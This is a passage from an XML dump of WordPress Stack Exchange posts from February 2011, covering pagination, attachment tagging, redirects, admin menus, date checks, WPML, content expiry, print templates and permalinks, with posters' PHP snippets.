&amp;lt;section id=&quot;map&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url') ?&amp;gt;/images/interactive-map.jpg&quot; alt=&quot;Interactive Map&quot; /&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;    &amp;lt;/section&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have pagenavi set up right after the endwhile. It's not working, though. Anybody know how I can get this to work?&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-17T14:16:07.757" LastActivityDate="2011-02-17T14:28:20.070" Title="wp_pagenavi() with custom wp_query()?" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;custom-loop&gt;&lt;plugin-wp-pagenavi&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="9577" PostTypeId="1" CreationDate="2011-02-17T04:29:53.303" Score="1" ViewCount="213" Body="&lt;p&gt;I'm looking for a plugin that will let a user tag images attached to a post. My goal is to have a class added to the  tag so that I can (hopefully) then create different jQuery image rotators within that post, each using images with a different tag/class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit with more detail:&#xA;I found a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/media-tags/&quot; rel=&quot;nofollow&quot;&gt;Media Tags&lt;/a&gt;, but I don't think this (directly) accomplishes what I want. It adds a taxonomy to media items, and the media items can then be displayed on the site (through a template tag or a shortcode) according to their 'media tag'. My ultimate goal is to make it possible for the person updating the site (a client with no previous knowledge of WordPress) to easily insert several images into a post, 'tag' them, and have those images displayed in separate jQuery image rotators within the post, according to the tag assigned to them. My initial thought is that the best way to do this is make it easy and intuitive for a class to be added to the  tags, but I'm open to other suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize classes can be added to an already attached image by accessing the &lt;code&gt;Edit Image &amp;gt; Advanced Settings&lt;/code&gt; screen, but I'm not sure how intuitive that will be, and I would of course prefer that the class/tag be chosen from a list, to minimize mistakes.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-17T14:53:49.723" LastActivityDate="2011-08-08T03:20:52.877" Title="Plugin to tag (add a class to?) images attached to a post?" Tags="&lt;plugin-recommendation&gt;&lt;images&gt;&lt;tags&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="9578" PostTypeId="2" ParentId="9574" CreationDate="2011-02-17T04:45:22.947" Score="1" ViewCount="" Body="&lt;p&gt;Simply backdate it. That should do it&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-02-17T04:45:22.947" />
  <row Id="9579" PostTypeId="1" AcceptedAnswerId="9580" CreationDate="2011-02-17T05:41:12.750" Score="1" ViewCount="78" Body="&lt;p&gt;I currently have my blog at &lt;code&gt;alexangas.com&lt;/code&gt; and would like to move it to &lt;code&gt;www.alexangas.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this as simple as changing the &lt;strong&gt;WordPress Address&lt;/strong&gt; and &lt;strong&gt;Site Address&lt;/strong&gt; in Settings? How can I ensure that users hitting &lt;code&gt;alexangas.com/someblogpost&lt;/code&gt; are automatically redirected to &lt;code&gt;www.alexangas.com/someblogpost&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3083" LastActivityDate="2011-02-17T06:01:38.847" Title="How do I redirect my blog posts to a subdomain?" Tags="&lt;migration&gt;&lt;domain&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9580" PostTypeId="2" ParentId="9579" CreationDate="2011-02-17T06:01:38.847" Score="1" ViewCount="" Body="&lt;p&gt;Yes. I just did an experiment on my own site to verify that changing those settings will redirect between www and non-www as you specify.&lt;/p&gt;&#xA;" OwnerUserId="645" LastActivityDate="2011-02-17T06:01:38.847" />
  <row Id="9581" PostTypeId="2" ParentId="9505" CreationDate="2011-02-17T06:07:46.283" Score="0" ViewCount="" Body="&lt;p&gt;you can do this, it hides the menu (thats all , they can still go to the menu url if they know it), based on capability. You can easily change it to role or even username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think user role is &quot;user_role&quot; and for username it is &quot;user_login&quot;. The example below uses &quot;user_level&quot; of 10 meaning everyone but the admin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus()&#xA;{&#xA;    global $menu;&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;&#xA;    if($current_user-&amp;gt;user_level &amp;lt; 10)&#xA;    {&#xA;        $restricted = array(__('Pages'),&#xA;                            __('Media'),&#xA;                            __('Links'),&#xA;                            __('Custom Post Name'),&#xA;                            __('Comments'),&#xA;                            __('Appearance'),&#xA;                            __('Plugins'),&#xA;                            __('Users'),&#xA;                            __('Tools'),&#xA;                            __('Settings'),&#xA;                            __('Posts'),&#xA;&#xA;        );&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }// end while&#xA;&#xA;    }// end if&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-02-17T06:42:33.113" LastActivityDate="2011-02-17T06:42:33.113" />
  <row Id="9582" PostTypeId="2" ParentId="9573" CreationDate="2011-02-17T07:40:40.220" Score="1" ViewCount="" Body="&lt;p&gt;Perhaps you're looking for a &quot;Printer friendly&quot; page functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=print&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=print&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-02-17T07:40:40.220" />
  <row Id="9583" PostTypeId="1" CreationDate="2011-01-28T11:44:47.413" Score="2" ViewCount="200" Body="&lt;p&gt;Which is an easy software for creating a simple multi-language website? I'd like a button to switch from English to German, for example. I don't want to write code, possibly. Thanks, Carlo&lt;/p&gt;&#xA;" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-17T13:24:23.933" LastActivityDate="2011-03-17T23:12:34.847" Title="Multi-language module in Wordpress or Google sites" Tags="&lt;multi-language&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9584" PostTypeId="1" AcceptedAnswerId="9618" CreationDate="2011-02-17T08:18:24.790" Score="0" ViewCount="68" Body="&lt;p&gt;I need to showing message in post , but after one month from publish date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to make it before ask you, but I can't&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                $publish_date =  $post-&amp;gt;post_date_gmt;&#xA;        $today = date('d-m-Y h:i:s');&#xA;        $nextMonth = mktime(0 , $publish_date('m')+1 , 0 , 0 , 0,0);&#xA;        echo 'Publish Date:'.$publish_date.'&amp;lt;br/&amp;gt;';&#xA;        echo 'Today Date:'.$today.'&amp;lt;br/&amp;gt;';&#xA;        echo 'Next Month:'.$nextMonth;&#xA;        if($today =&amp;gt; $nextMonth){&#xA;            echo 'One Month or more for publish post';&#xA;        } else {&#xA;            echo '';&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2011-02-17T13:49:28.450" Title="I want to print a message in post &quot; After one month from publish date&quot;" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;publish&gt;" AnswerCount="2" />
  <row Id="9585" PostTypeId="1" AcceptedAnswerId="9677" CreationDate="2011-02-17T08:25:24.893" Score="0" ViewCount="147" Body="&lt;p&gt;I am using the wordpress menus on a website, but the problem is that one of the links on that menu is www.homepage.com/#order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when I am on the homepage, both &quot;home&quot; and &quot;order&quot; links on the menu contain the class current_page_item, which with my css it makes them appear both as the active button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so the #order link never contains that the current_page_item class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of how the menu looks when visiting the homepage and how I set it up on the admin panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img87.imageshack.us/img87/7666/screenshotrq.png&quot; rel=&quot;nofollow&quot;&gt;http://img87.imageshack.us/img87/7666/screenshotrq.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the firebug panel you can see that both www.homepage.com and www.homepage.com/#order menu links contain the current_page_item class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the php code I am using to display the menus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args = array(&#xA;    'menu' =&amp;gt; 'Top Menu',&#xA;     'sort_column' =&amp;gt; 'menu_order',&#xA;     'container_class' =&amp;gt; ' '&#xA;);&#xA;wp_nav_menu($args); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-17T22:41:56.153" Title="Wordpress menu: How to make www.link.com/#name never contain current_page_item class?" Tags="&lt;3.0&gt;&lt;custom-menus&gt;&lt;css&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9586" PostTypeId="2" ParentId="9583" CreationDate="2011-02-17T08:26:27.903" Score="1" ViewCount="" Body="&lt;p&gt;If you're comfortable with the use of Wordpress and plugins you should take a look at WPML plugin at &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;http://wpml.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's working quite well, even for non-programming users.&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-02-17T08:26:27.903" />
  <row Id="9587" PostTypeId="1" AcceptedAnswerId="10284" CreationDate="2011-02-17T08:35:01.513" Score="0" ViewCount="236" Body="&lt;p&gt;I'm using WPML for multi-language website. It works really well except for custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In admin, I can only join foreign posts to foreign taxonomies (which is exactly what it should do) but on the public area, when retrieving taxonomies it seems that the current language is ignored: I get all taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-03-14T22:40:50.350" Title="WPML taxonomies not translated" Tags="&lt;custom-taxonomy&gt;&lt;plugin-wpml&gt;" AnswerCount="2" />
  <row Id="9588" PostTypeId="1" CreationDate="2011-02-17T08:38:00.507" Score="0" ViewCount="50" Body="&lt;p&gt;I'm trying to put together a site with membership functionality and i'm having most of what i need together. However, what's still missing in the mix are two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I need to be able to display content starting from a certain date and stop displaying it starting from a certain date (or give it an expiration time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I'd like to be able to have content flagged as viewed by individual users so i can then display it in a different section of the site for that user. How that's done (if via taxonomies or whatever) i don't really care and the 'putting it somewhere else' i can do myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good, simple (do one thing only, but do it right), free plugins that cater for the above?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-17T09:34:20.953" Title="Timed content and flagging content as viewed by user?" Tags="&lt;plugins&gt;&lt;content&gt;&lt;user-access&gt;&lt;lifetime&gt;" AnswerCount="1" />
  <row Id="9589" PostTypeId="2" ParentId="9584" CreationDate="2011-02-17T09:01:17.890" Score="1" ViewCount="" Body="&lt;p&gt;Couple of things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your today date should have the format 'Y-m-d h:i:s'.&lt;/li&gt;&#xA;&lt;li&gt;You might want to use current_time('mysql') instead, anyways (WP core function). &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;$publish_date('m')?, and mktime creates a unix timestamp, afaik, not a mysql one, which is what you're after, so instead of those, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ts = strtotime($today);&#xA;$m = date('m', $ts);&#xA;$Y = date('Y', $ts);&#xA;if ($m &amp;lt; 12) { $m++; } else { $m = 1; $Y++; }&#xA;$nextMonth = date('Y-m-d', mktime( 0, 0, 0, $m, date('d', $ts), $Y ));&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-17T09:01:17.890" CommentCount="1" />
  <row Id="9590" PostTypeId="2" ParentId="9577" CreationDate="2011-02-17T09:15:05.093" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;register_taxonomy_for_object_type('post_tag', 'attachment');&lt;/code&gt; should do the trick. I think you could even do this from your themes functions.php .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: ok, try this (save as attachmenttags/attachmenttags.php in your plugins folder and make sure WP can read it, then activate in plugin manager):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name: AttachmentTags&#xA;Description: enables tagging attachments&#xA;Author: Wyrfel &amp;lt;andre@wyrfel.com&amp;gt;&#xA;Version: 0.1&#xA;*/&#xA;&#xA;if (!class_exists('AttachmentTags') {&#xA;    class AttachmentTags {&#xA;        function AttachmentTags() {&#xA;            add_action('admin_init', (&amp;amp;$this, 'admin_init'));&#xA;            add_filter('wp_get_attachment_image_attributes', (&amp;amp;$this, 'add_tag_classes'), 10, 2);&#xA;        }&#xA;&#xA;        function admin_init() {&#xA;            register_taxonomy_for_object_type('post_tag', 'attachment');&#xA;        }&#xA;&#xA;        function add_tag_classes($attr, $attachment) {&#xA;            $tags = wp_get_object_terms($attachment-&amp;gt;ID, 'post_tag', 'names');&#xA;            if (!empty($tags)) foreach ($tags as $tag) {&#xA;                $attr['class'] .= ' '.$tag; //wp sanitizes afterwards, so we don't need to&#xA;            }&#xA;            return $attr;&#xA;        }&#xA;&#xA;    }&#xA;    $AttachmentTags = new AttachmentTags();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW: This also creates the post tags field in the add/edit image popup when editing the actual post/page.&lt;br&gt;&#xA;Edited again, should now also inject the classes whenever you use get_the_post_thumbnail() in your theme.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-08T10:22:09.783" LastActivityDate="2011-03-08T10:22:09.783" CommentCount="5" />
  <row Id="9591" PostTypeId="2" ParentId="9588" CreationDate="2011-02-17T09:34:20.953" Score="2" ViewCount="" Body="&lt;p&gt;there are some plugins to achieve what you are trying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-expirator/&quot; rel=&quot;nofollow&quot;&gt;Post Expirator&lt;/a&gt; - Allows you to add an expiration date (minute) to posts which you can configure to either delete the post or change it to a draft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-expires/&quot; rel=&quot;nofollow&quot;&gt;Simple Expires&lt;/a&gt; - Enable Posts and Pages to automatically expire and change at a certain time, and provide notification of expiration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for the second part of your question,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd like to be able to have content&#xA;  flagged as viewed by individual users&#xA;  so i can then display it in a&#xA;  different section of the site for that&#xA;  user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you can do that by simply adding a new usermeta field that will contain an array of post ids like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_user_flag_887($post_id){&#xA;    if ( is_user_logged_in() ) {&#xA;        global $current_user;&#xA;        get_currentuserinfo();&#xA;        $user_flags = get_user_meta($current_user-&amp;gt;ID, 'flaged', false);&#xA;        $user_flags[] = $post_id;&#xA;        update_user_meta($current_user-&amp;gt;ID , 'flaged', $user_flags);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so all you have to do is call that function and pass the post_id to add/flag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_user_flag_887('43');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and assuming that the user is logged in it will add the ID 43 to the users flag array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can check to see if a user has flagged a post by simply checking if it in that array or even better you can use wp_query to select posts that are not in that array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;        get_currentuserinfo();&#xA;        $user_flags = get_user_meta($current_user-&amp;gt;ID, 'flaged', false);&#xA;    $my_q = new WP_Query(array('post__not_in' =&amp;gt; $user_flags ));&#xA;    if ($my_q-&amp;gt;have_posts()){&#xA;        while ( $my_q-&amp;gt;have_posts() ) { $my_q-&amp;gt;the_post();&#xA;            //do you loop stuff&#xA;        }&#xA;    }else{&#xA;    echo 'nothing found';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T09:34:20.953" CommentCount="2" />
  <row Id="9592" PostTypeId="2" ParentId="9575" CreationDate="2011-02-17T09:37:46.970" Score="4" ViewCount="" Body="&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$not_in = get_option('sticky_posts');&#xA;$not_in[] = $post-&amp;gt;ID;&#xA;$myposts = get_posts(&#xA;                    array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;, &#xA;                        'post__not_in' =&amp;gt; $not_in, &#xA;                        'numberposts' =&amp;gt; 10;&#xA;                        )&#xA;                    );&#xA;foreach($myposts as $idx=&amp;gt;$post){//do something}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T09:37:46.970" CommentCount="2" />
  <row Id="9593" PostTypeId="1" AcceptedAnswerId="9705" CreationDate="2011-02-17T09:39:01.510" Score="0" ViewCount="624" Body="&lt;p&gt;I have a custom post type called 'projects' (&lt;a href=&quot;http://pastebin.com/jRc7BFCR&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;) and I have a page called Projects set up in my dashboard which is set to display the Projects template. (&lt;a href=&quot;http://pastebin.com/jTSbEqy5&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I use WP_PageNavi to incorporate pagination and click on page 2, I get an error 404. I read somewhere that this is because custom post types and pages can't have the same name. And I've found that to be true because I tried changing the page name to &quot;Projects 2&quot; and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I change the name of the custom post type, that gets reflected in the url. So if I change the custom post type to 'projects2' instead of just 'projects', the url now looks like this: mysite.com/projects2/single-post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my custom permalinks set to /%category%/%postname%/ by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, I can't change the name of the page to 'Projects 2' for aesthetic reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would I get around this? This has been driving me crazy for many hours. I would really appreciate any helpful advice!&lt;/p&gt;&#xA;" OwnerUserId="3239" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-18T08:21:35.137" LastActivityDate="2011-02-18T08:21:35.137" Title="Custom post type archive with pagination?" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" />
  <row Id="9594" PostTypeId="1" CreationDate="2011-02-17T09:57:56.327" Score="0" ViewCount="97" Body="&lt;p&gt;I am using the Dynamix WP theme. I have three images displaying in a loop with fade effect. The images continue to fade from one to other. However I would like to stop this effect once all images have shown.&#xA;i.e on page load three images will fade from one to other and then stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&#xA;Is there something I can add to the shortcode to do this?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-17T11:00:22.983" Title="how to stop a gallery slideshow" Tags="&lt;themes&gt;&lt;images&gt;&lt;shortcode&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="9595" PostTypeId="2" ParentId="9573" CreationDate="2011-02-17T10:02:36.767" Score="2" ViewCount="" Body="&lt;p&gt;you can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //add my_print to query vars&#xA;function add_print_query_vars($vars) {&#xA;    // add my_print to the valid list of variables&#xA;    $new_vars = array('my_print');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&#xA;add_filter('query_vars', 'add_print_query_vars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add a template redirect based on that query_var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;template_redirect&quot;, 'my_template_redirect_2322');&#xA;&#xA;// Template selection&#xA;function my_template_redirect_2322()&#xA;{&#xA;    global $wp;&#xA;    global $wp_query;&#xA;    if (isset($wp-&amp;gt;query_vars[&quot;my_print&quot;]))&#xA;    {&#xA;        include(TEMPLATEPATH . '/my_print_themplate.php');&#xA;        die();&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;create a new file in your theme directory named &quot;my_print_themplate.php&quot;&#xA;an paste this code there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    define('WP_USE_THEMES', false);&#xA;    echo &quot;&amp;lt;h1&amp;gt;printer friendly version:&amp;lt;/h1&amp;gt;\n&quot;;&#xA;    query_posts('p='.$_GET['pid']);&#xA;    if (have_posts()){&#xA;        while ( have_posts() ) { the_post();&#xA;            the_content();&#xA;        }&#xA;    }else{&#xA;    echo 'nothing found';&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now all you have to do is create a link with ?my_print=$post_id in your regular single loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T10:02:36.767" CommentCount="3" />
  <row Id="9596" PostTypeId="1" CreationDate="2011-02-17T10:31:45.253" Score="0" ViewCount="126" Body="&lt;p&gt;I want to have dates in the urls of my blog, so I have set my permalinks to: /%year%/%monthnum%/%category%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I don't want the date in the urls of articles in the news section, instead I want to prepend it with /archive/ I have added this rule:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$newrules['archive/turkey-property-news/(.*)/?$'] = 'index.php?name=$matches[1]';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it works, but we are then seemingly 301'd to the regular permalink, is there anything I can do about this. I am not honestly going to have to put the site onto standard and do the rewrite rules manually to get around this, am I?&lt;/p&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-09-04T02:41:08.140" Title="category specific permalinks" Tags="&lt;permalinks&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9597" PostTypeId="2" ParentId="7078" CreationDate="2011-02-17T10:41:15.837" Score="0" ViewCount="" Body="&lt;p&gt;So, you kind of need a &quot;triangle&quot; of Images to People, Images to Places, and Places to People... So far, I've found many-to-many relationships quite difficult to code in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just musing here: &#xA;A custom post type &quot;Image&quot; that you could tag with non-hierarchical taxonomy &quot;Type&quot; (options: Green, Red, Blue) (or actually simply have that as a select field in the custom post type Image, but tagging it as a taxonomy is a lot less work in terms of creating templates and links and things)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other non-hierarchical taxonomies could be attached: &quot;People&quot; and &quot;Places&quot;... you could &quot;tag&quot; each image with the relevant Person or Place taxonomy and have taxonomy.php take care of listing them alphabetically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't really help close the triangle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to consider having 2 custom post types - perhaps Images and People, and using the &quot;&lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt;&quot; plugin by &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;scribu&lt;/a&gt; to link them...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you might consider creating all the people as &quot;Users&quot; and customising the fields in the user table, but I think that might end up more work in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tricky question, and this isn't really an answer for you, just some thoughts that might spur you in the right direction. It might also help you to clarify your thoughts and perhaps consolidate your question above, so we can be more helpful in answering.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know if you figure it out...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit]:&#xA;Using NextGen Gallery, it might be less work to create Galleries of Places (since there are only 40 or so), and tag each image with Person and Type, then display those tags in your template.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-02-17T10:49:13.270" LastActivityDate="2011-02-17T10:49:13.270" />
  <row Id="9598" PostTypeId="2" ParentId="9594" CreationDate="2011-02-17T11:00:22.983" Score="1" ViewCount="" Body="&lt;p&gt;You can't,&#xA;Dynamix WP theme uses piecemaker.swf to run its slide show and by looking at the &lt;a href=&quot;http://www.modularweb.net/content/en/piecemaker/documentation.pdf&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; you can see that they don't have a none loop setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your best bet is to try to replace it with a different flash viewer that has a none loop option like &lt;a href=&quot;http://www.progressivered.com/cu3er/&quot; rel=&quot;nofollow&quot;&gt;CU3ER image rotator&lt;/a&gt; which i know can work great with nextgen gallery plugin for easy modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T11:00:22.983" CommentCount="1" />
  <row Id="9599" PostTypeId="1" AcceptedAnswerId="9601" CreationDate="2011-02-17T11:02:20.950" Score="2" ViewCount="259" Body="&lt;p&gt;I'm using the following code I got from the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;Wordpress codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Displaying Child pages of the current page in post format&#xA;            $mypages = get_pages('child_of='.$post-&amp;gt;ID.'&amp;amp;sort_column=post_date&amp;amp;sort_order=desc');&#xA;            $count = 0;&#xA;            foreach($mypages as $page)&#xA;            {&#xA;                $content = $page-&amp;gt;post_content;&#xA;                if(!$content)&#xA;                    continue;&#xA;                if($count &amp;gt;= 20)&#xA;                    break;&#xA;                $count++;&#xA;                $content = apply_filters('the_content', $content);&#xA;            ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link($page-&amp;gt;ID) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php echo $content ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php&#xA;            }&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the following code to get the featured image of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this one too: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumbnail = apply_filters('the_post_thumbnail', $thumbnail);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't get the 